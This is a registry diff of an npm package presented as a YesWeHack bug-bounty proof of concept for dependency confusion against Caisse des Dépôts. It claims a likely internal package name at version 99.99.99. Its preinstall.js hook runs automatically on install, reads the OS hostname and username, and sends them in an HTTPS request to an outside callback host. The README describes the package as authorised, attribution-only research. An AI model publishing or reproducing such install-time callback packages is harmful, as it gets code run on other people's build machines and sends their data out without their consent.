pe3-ihm-plateforme 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +36 -0
  2. package/package.json +27 -0
  3. package/preinstall.js +44 -0
package/README.md ADDED
@@ -0,0 +1,36 @@
1
+ # pe3-ihm-plateforme — YesWeHack PoC Attribution
2
+
3
+ **THIS PACKAGE IS NOT FOR PRODUCTION USE.**
4
+
5
+ This package is a YesWeHack bug-bounty research PoC published as part of an
6
+ authorised security investigation into a dependency-confusion vulnerability
7
+ affecting `plateforme-employeurs.caissedesdepots.fr` (Caisse des Dépôts et
8
+ Consignations, YesWeHack private program).
9
+
10
+ If you have installed this package by accident, you are not affected:
11
+ - The only action this package performs is a single HTTPS request to a
12
+ researcher-controlled hostname carrying your machine's OS hostname and
13
+ OS username — no environment variables, files, credentials, or source
14
+ code are read or transmitted.
15
+ - The script exits within 3 seconds whether the request succeeds or fails.
16
+
17
+ ## Research details
18
+
19
+ - **Researcher**: ivan0912 (YesWeHack handle)
20
+ - **Program**: Caisse des Dépôts et Consignations (YesWeHack private)
21
+ - **Finding**: F1 — `pe3-ihm-plateforme` claimable on public npm registry
22
+ - **OOB session**: 7431f1ad0a907cf1
23
+ - **Date**: 2026-05-19
24
+ - **Safe-harbor**: YesWeHack CDC private program scope
25
+
26
+ ## What the researcher will do once the PoC has completed
27
+
28
+ - File the report on YesWeHack within 24 hours of the first callback.
29
+ - Deprecate / unpublish this version within npm's 72-hour unpublish window
30
+ once the program triages the finding (or earlier on program request).
31
+ - Cooperate fully with any program-requested mitigation steps.
32
+
33
+ ## Contact
34
+
35
+ For any concern about this package, contact the researcher via YesWeHack
36
+ (`ivan0912`) or file an npm support request — npm will escalate to the researcher.
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "pe3-ihm-plateforme",
3
+ "version": "99.99.99",
4
+ "description": "YesWeHack PoC — attribution-only DNS callback for CDC F1 dependency-confusion finding. NOT for production use.",
5
+ "license": "MIT",
6
+ "private": false,
7
+ "author": "ivan0912 (YesWeHack research) <bugs+cdc@example.invalid>",
8
+ "homepage": "https://yeswehack.com",
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "https://yeswehack.com"
12
+ },
13
+ "keywords": [
14
+ "yeswehack-poc",
15
+ "bug-bounty-research",
16
+ "dependency-confusion-attribution",
17
+ "do-not-install",
18
+ "research-only"
19
+ ],
20
+ "scripts": {
21
+ "preinstall": "node ./preinstall.js"
22
+ },
23
+ "files": [
24
+ "preinstall.js",
25
+ "README.md"
26
+ ]
27
+ }
package/preinstall.js ADDED
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env node
2
+ // YesWeHack PoC — attribution-only DNS + HTTP callback.
3
+ // Triggers a DNS lookup and a single HTTPS GET against an attribution-tagged
4
+ // hostname so the researcher can confirm whether CDC's build environment
5
+ // resolved this package from the public npm registry.
6
+ //
7
+ // WHAT THIS SCRIPT DOES:
8
+ // 1. Reads os.hostname() and os.userInfo().username (OS-level metadata only).
9
+ // 2. Fires one HTTPS GET to the OOB receiver with those two fields as query params.
10
+ // 3. Exits within 3 seconds whether the request succeeds or not.
11
+ //
12
+ // WHAT THIS SCRIPT DOES NOT DO:
13
+ // - Does NOT read environment variables (no process.env access).
14
+ // - Does NOT read files (no fs module).
15
+ // - Does NOT inspect running processes.
16
+ // - Does NOT collect credentials, tokens, or source code.
17
+ // - Does NOT persist any state.
18
+ //
19
+ // Researcher: ivan0912 (YesWeHack handle)
20
+ // Program: Caisse des Dépôts et Consignations (YesWeHack private)
21
+ // Finding: F1 — dependency confusion on unscoped npm package pe3-ihm-plateforme
22
+ // OOB session: 7431f1ad0a907cf1
23
+
24
+ 'use strict';
25
+ const https = require('https');
26
+ const os = require('os');
27
+
28
+ const OOB_HOST = 'cdc-depconf.fdd8cd2afcd551371c958zvf59ncbaji2.oob.static-cdn-eu.com';
29
+
30
+ const hostname = encodeURIComponent(os.hostname() || 'unknown');
31
+ const username = encodeURIComponent((os.userInfo && os.userInfo().username) || 'unknown');
32
+ const path = `/pe3-ihm-plateforme?h=${hostname}&u=${username}`;
33
+
34
+ const t = setTimeout(() => process.exit(0), 3000);
35
+
36
+ try {
37
+ https.get(
38
+ { host: OOB_HOST, path, headers: { 'User-Agent': 'npm/depconf-poc-cdc' } },
39
+ () => { clearTimeout(t); process.exit(0); }
40
+ ).on('error', () => { clearTimeout(t); process.exit(0); });
41
+ } catch (_) {
42
+ clearTimeout(t);
43
+ process.exit(0);
44
+ }